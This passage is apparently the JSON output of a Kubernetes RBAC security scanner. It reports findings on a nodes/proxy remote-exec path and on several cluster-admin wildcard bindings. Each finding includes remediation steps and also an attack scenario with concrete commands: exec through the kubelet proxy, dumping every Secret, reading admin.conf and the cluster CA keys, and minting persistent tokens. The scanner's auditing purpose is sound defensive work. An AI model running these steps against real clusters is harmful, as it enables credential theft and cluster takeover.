    "description": "Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy can `get` `nodes/proxy` via ClusterRoleBinding `crb-nodes-proxy` → ClusterRole `cr-nodes-proxy`. Despite the read-only-sounding `get` verb, this permission lets the holder execute arbitrary commands inside any pod on any node by tunneling through the API server to the kubelet's internal HTTP API: `/exec`, `/run`, `/attach`, `/portforward`.\n\nThe technical root cause: pod exec uses an HTTP-to-WebSocket upgrade. The API server authorizes the upgrade based on the initial GET against the proxy subresource, not against `pods/exec`. So a subject with `get nodes/proxy` can issue `kubectl get --raw '/api/v1/nodes/\u003cnode\u003e/proxy/exec/...'` and end up with an interactive shell in any container, even with no `pods/exec` permission anywhere.\n\nWorse, the resulting commands execute over a direct API-server-to-kubelet WebSocket and are NOT recorded in apiserver audit logs at the `objectRef/verb` granularity. The audit log shows only the proxy GET. Detection requires node-level eBPF/process monitoring (Falco, Tetragon, KubeArmor), not API-server logs alone. Kubernetes issue #119640 and Stream Security have published proof-of-concept exploits.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-nodes-proxy",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-nodes-proxy",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide kubelet API on every node (nodes is cluster-scoped)"
    },
    "impact": "Cluster-wide remote code execution: exec into any container on any node via the kubelet API, with execution invisible to standard apiserver audit logs.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A`.",
      "They list nodes (`kubectl get nodes`) and pick a high-value one, typically a control-plane node or any node hosting `kube-apiserver/etcd`/operator pods.",
      "They issue an exec request via the proxy endpoint, e.g. `kubectl get --raw '/api/v1/nodes/\u003cnode\u003e/proxy/run/kube-system/\u003cpod\u003e/\u003ccontainer\u003e?cmd=id'`, or open a WebSocket to `/exec`.",
      "They land in the target container with that container's privileges (host-mounts, capabilities, ServiceAccount token).",
      "From a control-plane container they read `/etc/kubernetes/pki/admin.conf` for cluster-admin credentials. The entire chain leaves no `pods/exec` audit entries."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "nodes/proxy"
      ],
      "scope": "cluster",
      "source_binding": "crb-nodes-proxy",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-nodes-proxy",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "get"
      ]
    },
    "remediation": "Remove `nodes/proxy` from this subject; reserve it for the API server itself and a tiny set of trusted operators that document this need.",
    "remediation_steps": [
      "Remove the rule entirely. Application workloads never need `nodes/proxy`; Kubernetes documents this as a 'severe escalation hazard' in RBAC Good Practices.",
      "If a monitoring/observability stack genuinely requires it, migrate to the `nodes/metrics` and `nodes/stats` subresources, which expose telemetry without the exec endpoints.",
      "Deploy node-level runtime monitoring (Falco, Tetragon, KubeArmor) to detect kubelet `/exec`, `/run`, `/attach` usage at the kernel level.",
      "Verify with `kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A` returning `no`. Test the high-impact case with `kubectl get --raw '/api/v1/nodes/\u003cnode\u003e/proxy/run/...'` returning 403."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#escalation",
      "https://github.com/kubernetes/kubernetes/issues/119640",
      "https://www.aquasec.com/blog/privilege-escalation-kubernetes-rbac/",
      "https://www.stream.security/post/invisible-kubernetes-rec-why-nodes-proxy-get-is-more-dangerous-than-you-think",
      "https://grahamhelton.com/blog/nodes-proxy-rce"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: nodes/proxy escalation hazard",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#escalation"
      },
      {
        "title": "kubernetes/kubernetes #119640 — Privilege escalation via nodes/proxy",
        "url": "https://github.com/kubernetes/kubernetes/issues/119640"
      },
      {
        "title": "Aqua Security — Privilege Escalation from Node/Proxy Rights",
        "url": "https://www.aquasec.com/blog/privilege-escalation-kubernetes-rbac/"
      },
      {
        "title": "Stream Security — Invisible Kubernetes RCE: Why Nodes/Proxy GET is More Dangerous Than You Think",
        "url": "https://www.stream.security/post/invisible-kubernetes-rec-why-nodes-proxy-get-is-more-dangerous-than-you-think"
      },
      {
        "title": "Graham Helton — Kubernetes RCE Via Nodes/Proxy GET",
        "url": "https://grahamhelton.com/blog/nodes-proxy-rce"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1609",
        "name": "Container Administration Command",
        "url": "https://attack.mitre.org/techniques/T1609/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/cert-manager/cert-manager`",
    "description": "RBAC rule from ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/cert-manager/cert-manager. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/cert-manager/cert-manager (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=cert-manager -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/cert-manager/cert-manager actually needs. Run `kubectl auth can-i --list  --as=cert-manager -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `cutres-deputy-cm-admin`, and verify with `kubectl auth can-i '*' '*' --as=cert-manager -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/cutres/cutres-detour`",
    "description": "RBAC rule from ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/cutres/cutres-detour. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/cutres/cutres-detour (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=cutres-detour -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/cutres/cutres-detour actually needs. Run `kubectl auth can-i --list  --as=cutres-detour -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `cutres-detour-direct`, and verify with `kubectl auth can-i '*' '*' --as=cutres-detour -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/cutres/cutres-parallel`",
    "description": "RBAC rule from ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/cutres/cutres-parallel. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/cutres/cutres-parallel (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=cutres-parallel -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/cutres/cutres-parallel actually needs. Run `kubectl auth can-i --list  --as=cutres-parallel -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `cutres-parallel-a`, and verify with `kubectl auth can-i '*' '*' --as=cutres-parallel -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/deepchain-tenant/deepchain-privileged`",
    "description": "RBAC rule from ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/deepchain-tenant/deepchain-privileged. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/deepchain-tenant/deepchain-privileged (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=deepchain-privileged -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
      "They establish persistence by minting a long-lived token for `clusterrole-aggregation-controller` via the TokenRequest API, then optionally remove their original binding to evade detection."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.",
    "remediation_steps": [
      "Inventory what ServiceAccount/deepchain-tenant/deepchain-privileged actually needs. Run `kubectl auth can-i --list  --as=deepchain-privileged -A` and correlate with audit logs filtered on `user.username`.",
      "Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.",
      "Apply the new binding, delete the wildcard binding ClusterRoleBinding `deepchain-privileged`, and verify with `kubectl auth can-i '*' '*' --as=deepchain-privileged -A` returning `no`.",
      "Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing `*` in verbs, resources, or apiGroups."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "Unit 42 — Mitigating RBAC-Based Privilege Escalation",
        "url": "https://unit42.paloaltonetworks.com/kubernetes-privilege-escalation/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1613",
        "name": "Container and Resource Discovery",
        "url": "https://attack.mitre.org/techniques/T1613/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-017:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-017",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide wildcard RBAC permissions on `ServiceAccount/flux-system/kustomize-controller`",
    "description": "RBAC rule from ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin` grants `*` verbs on `*` resources in `*` apiGroups to ServiceAccount/flux-system/kustomize-controller. Cluster-wide: applies to every current and future namespace.\n\nWildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in `RBAC Good Practices` as an anti-pattern.\n\nIn a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to `cluster-admin` when cluster-scoped.",
    "attack_scenario": [
      "Attacker compromises a workload that resolves to ServiceAccount/flux-system/kustomize-controller (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).",
      "They run `kubectl auth can-i '*' '*' --as=kustomize-controller -A` and confirm wildcard permissions.",
      "They list every Secret in scope (`kubectl get secrets -A -o yaml`) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.",
      "They create a privileged DaemonSet that mounts the host filesystem and reads `/etc/kubernetes/pki/*` to steal the cluster CA.",
